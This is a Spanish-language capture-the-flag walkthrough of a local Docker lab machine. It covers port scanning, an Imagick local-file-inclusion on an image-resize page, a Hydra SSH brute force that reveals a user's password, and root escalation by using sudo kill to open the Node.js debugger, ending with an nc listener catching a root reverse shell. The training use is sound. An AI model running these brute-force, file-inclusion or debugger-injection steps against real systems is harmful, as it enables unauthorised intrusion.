Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipdebugme.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shdebugme.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 09:54 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6b:35:91:cf:5e:a7:19:b1:af:c9:f3:9e:0e:25:62:2e (RSA)
| 256 7e:c3:e4:b0:20:09:8f:4b:24:f7:cf:72:47:09:ab:b6 (ECDSA)
|_ 256 89:89:11:91:38:6d:4f:1f:4f:ec:6c:eb:74:a1:ea:c3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Redimensionar Imagen/PDF
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Redimensionar Imagen/PDF
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=*.vm/organizationName=Docker Boilerplate
| Not valid before: 2015-05-04T17:14:40
|_Not valid after: 2025-05-01T17:14:40
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.15 seconds
Si nos metemos en la pagina tanto en el 80 como en el 443 vamos a ver la misma pagina, por lo que nos meteremos en el normal (80):
URL = http://<IP>/
Veremos un apartado en el que podremos subir una imagen con un tamaño personalizado, por lo que descargaremos una imagen y la subiremos, viendo algo asi:
Aparentemente no vemos nada, por lo que intentaremos fuzzear un poco por la web.
Por lo que vemos, podremos ver el info.php, si nos metemos dentro podremos ver varias extensiones instaladas, entre ellas una que llama mucho la atencion llamada imagick:
Buscamos si hubiera alguna vulnerabilidad respecto a esta herramienta, ya que esta herramienta es la que gestiona el tema de las imagenes en la pagina web.
Local File Inclusion Imagick
Vemos que hay un repositorio de github aprovechando un LFI de esta herramienta en versiones anteriores a la 7.1.0 y la version de esta herramienta es 3.4.3 por lo que podremos aprovechar esta vulnerabilidad.
Por lo que lo decodificaremos con el siguiente mini script que he creado:
decoderHexa.py
import sysimport redefvalidate_hex_data(hex_data):""" Valida y limpia la cadena hexadecimal. :param hex_data: Cadena en formato hexadecimal. :return: Cadena hexadecimal limpia o un error si no es válida. """# Eliminar espacios y saltos de línea. hex_data = re.sub(r'\s+', '', hex_data)ifnot re.fullmatch(r'[0-9a-fA-F]*', hex_data):raiseValueError("El archivo contiene caracteres no válidos para hexadecimal.")return hex_datadefhex_to_text(hex_data):""" Convierte una cadena hexadecimal a texto plano. :param hex_data: Cadena en formato hexadecimal. :return: Cadena en texto plano. """try:# Decodifica el texto hexadecimal a bytes. byte_data =bytes.fromhex(hex_data)# Trata de convertir el contenido a texto usando 'utf-8' o 'latin-1'try: text = byte_data.decode('utf-8')exceptUnicodeDecodeError:# Si no puede decodificar en utf-8, intenta con latin-1 (que permite caracteres no válidos en utf-8) text = byte_data.decode('latin-1', errors='ignore')return textexceptExceptionas e:raiseValueError(f"Error al convertir la cadena hexadecimal: {e}")defmain():""" Función principal que lee el archivo y traduce el contenido hexadecimal. """iflen(sys.argv)<2:print("Uso: python3 decoderHexa.py <archivo_hexadecimal>") sys.exit(1) file_path = sys.argv[1]try:withopen(file_path, 'r')as file:# Lee todo el contenido del archivo. hex_data = file.read()# Limpia y valida la cadena hexadecimal. clean_data =validate_hex_data(hex_data)# Convierte la cadena limpia a texto. translated_text =hex_to_text(clean_data)# Muestra el texto traducido.print("Texto traducido:\n")print(translated_text)exceptFileNotFoundError:print(f"Error: No se pudo encontrar el archivo '{file_path}'.")exceptValueErroras ve:print(f"Error de validación: {ve}")exceptExceptionas e:print(f"Error inesperado: {e}")if__name__=="__main__":main()
Ahora ese codigo entero hezadecimal lo guardaremos en un archivo .txt y se lo pasaremos como parametro al la herramienta:
Por lo que vemos ha funcionado todo correctamente, y podemos observar 2 usuarios con bash, por lo que intentaremos sacarle las credenciales alguno de los 2 usuarios con un ataque de fuerza bruta:
Escalate user lenam
Hydra
Antes del ataque de fuerza bruta crearemos un archivo con los 2 usuarios:
users.txt
lenam
application
Y ahora si, realizaremos el ataque:
hydra-Lusers.txt-P<WORDLIST>ssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-19 10:57:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 28688798 login tries (l:2/p:14344399), ~448263 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[STATUS] 459.00 tries/min, 459 tries in 00:01h, 28688369 to do in 1041:42h, 34 active
[22][ssh] host: 172.17.0.2 login: lenam password: loverboy
[STATUS] 4781531.00 tries/min, 14344593 tries in 00:03h, 14344249 to do in 00:03h, 20 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Vemos que sacamos las credenciales del usuario lenam, por lo que nos conectaremos por ssh con dichas credenciales:
sshlenam@<IP>
Metemos como contraseña loverboy y veremos que estamos dentro.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for lenam on 6f51fd7a405b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lenam may run the following commands on 6f51fd7a405b:
(ALL) /bin/kill
Vemos que podemos ejecutar como root el binario kill, por lo que haremos lo siguiente.
Si enumeramos los puertos que hay activos en el momento, veremos lo siguiente:
netstat-tuln
Info:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
Vemos que hay 2 puertos corriendo en local bastante interesantes:
Si hacemos un curl al puerto 8000 para ver que contiene, veremos lo siguiente:
curlhttp://localhost:8000/
Info:
Hello World from nodejs.
Y si probamos en el otro puerto da un error, por lo que vemos esta corriendo una aplicacion node.js en el puerto 8000.
Lo que podemos hacer es matar el proceso con kill en el puerto 8000 para que asi se reinicie y nos muestre el puerto de depuracion del propio node.js cuando se reinicie, que ha esto se le llama hacer una señal SIGUSR1, por lo que cuando intentemos detener el proceso, tendra como consecuencia el reinicio del mismo exponiendo el puerto de depuracion que viene por defecto en el puerto 9229 el cual podremos aprovechar para injectar codigo malicioso ya que este depurador interactua con el node.js en tiempo real a nivel de ejecuccion.
Primero identificaremos el proceso padre de node de la siguiente forma:
Antes de enviarlo nos pondremos a la escucha de la siguiente forma:
nc-lvnp<PORT>
Una vez enviado, si nos vamos a donde teniamos la escucha veremos que hemos obtenido la shell como root:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 48278
bash: cannot set terminal process group (59): Inappropriate ioctl for device
bash: no job control in this shell
root@7d21a33a23a9:/#
Por lo que ya seremos root y habremos terminado la maquina.